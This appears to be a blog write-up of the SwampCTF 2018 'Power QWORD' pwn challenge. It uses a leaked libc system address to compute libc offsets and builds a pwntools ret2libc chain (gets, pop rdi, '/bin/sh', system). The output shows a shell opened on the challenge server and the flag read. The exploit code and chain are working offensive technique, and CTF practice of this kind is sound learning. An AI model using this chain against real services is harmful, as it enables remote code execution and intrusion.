Monday, April 2, 2018

SwampCTF 2018 - Power QWORD


Resources & Description:

The darkness increases as you descend down the stone steps towards The Source. The last vestiges of soft light begin to fade and a red haze starts to permeate the air. Suddenly, as you step on to a landing a MAGE blocks the way. He says...

Connect 
nc chal1.swampctf.com 1999

-=Created By: digitalcold=-


When running this binary initially we're prompted with the following question:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no):

Of Course....




Looking at the checksec report we get:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Everything enabled + ASLR on the server! Great!

Looking at the instructions, after accepting the magic of exploitation, we see it reads a single QWORD to overwrite saved RIP.


Notice also they generously provided a leak to libc system, as reflected in the stdout:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): yes
Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you 0x7fd2fc20d590]
      and speak the Power QWord:
...

So we only have one gadget to work with, what are we going to do?

Well, we could call something like gets to read more data onto the stack and return to it, so let's try that!

First let's make a client. I chose to use pwnup to record initial interactions and dump a simple python script:

#!/usr/bin/env python
from pwn import *

r = process('power')

def main():
  print(r.recvuntil('lieve in such things? (yes/no): '))
  r.send('yes\n')
  print(r.recvuntil('     and speak the Power QWord: '))
  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

We can refine this client to parse the libc system address and calculate the base address using the libc version provided:

#!/usr/bin/env python
from pwn import *
from pwnlib.util.safeeval import const

r = process('power')
libc = ELF('./libc.so.6')

def main():
  print(r.recvuntil(': '))
  r.send('yes\n')
  print r.recvuntil('the mage hands you')
  leak = r.recvuntil(']').lstrip(' ').rstrip(']')
  print r.recvuntil('QWord:')

  system = const(leak)
  base = system - libc.symbols['__libc_system']

  print 'base: {}'.format(hex(base))
  print 'system: {}'.format(hex(system))

  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

Now we can calculate the offset of _IO_gets, /bin/sh and a simple pop rdi gadget to setup the call to system (pwntools makes this all very simple):

  system = const(leak)
  base = system - libc.symbols['__libc_system']
  gets = base + libc.symbols['_IO_gets']
  binsh = base + libc.search('/bin/sh').next()
  pop_rdi = base + libc.search(asm('pop rdi; ret;')).next()

  print 'base: {}'.format(hex(base))
  print 'pop rdi: {}'.format(hex(pop_rdi))
  print 'system: {}'.format(hex(system))
  print '/bin/sh: {}'.format(hex(binsh))

Setting up the payload we get the following chain:

payload = p64(gets) + p64(pop_rdi) + p64(binsh) + p64(system)

With that, the full client looks something like this:

Running this against the server we get a shell! : )

[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal1.swampctf.com on port 1999: Done
Mage:
The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you

      and speak the Power QWord:
base: 0x7fd4f0017000
pop rdi: 0x7fd4f0038102
system: 0x7fd4f005c390
/bin/sh: 0x7fd4f01a3d57
[*] Switching to interactive mode
 $ ls -la
total 28
drwxr-x--- 1 root ctf   4096 Mar 30 15:24 .
drwxr-xr-x 1 root root  4096 Mar 26 07:15 ..
-r--r--r-- 1 root ctf     29 Mar 30 15:24 flag
-r-xr-xr-x 1 root ctf  13024 Mar 30 15:24 power
$ cat flag
flag{m4g1c_1s_4ll_ar0Und_u5}